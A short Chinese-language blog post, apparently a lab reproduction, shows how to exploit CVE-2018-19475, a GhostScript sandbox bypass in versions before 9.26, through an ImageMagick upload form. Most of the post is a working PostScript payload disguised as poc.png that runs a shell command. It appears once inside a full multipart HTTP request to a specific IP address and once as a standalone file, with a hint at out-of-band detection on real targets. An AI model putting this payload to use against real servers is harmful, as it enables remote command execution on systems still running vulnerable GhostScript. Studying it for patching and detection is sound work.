2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

环境:GhostScript 9.25、ImageMagick 7.0.8-20

环境启动后,访问http://your-ip:8080将可以看到一个上传组件。

将POC作为图片上传,执行命令id > /tmp/success && cat /tmp/success

POST / HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------102456621815935273213919902026
Content-Length: 334
Origin: http://188.40.189.134:8080
Connection: close
Referer: http://188.40.189.134:8080/
Cookie: ECS[visit_times]=2; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91
Upgrade-Insecure-Requests: 1

-----------------------------102456621815935273213919902026
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
-----------------------------102456621815935273213919902026--

其实也可以直接构造图片poc,保存为png格式然后上传

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file

当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...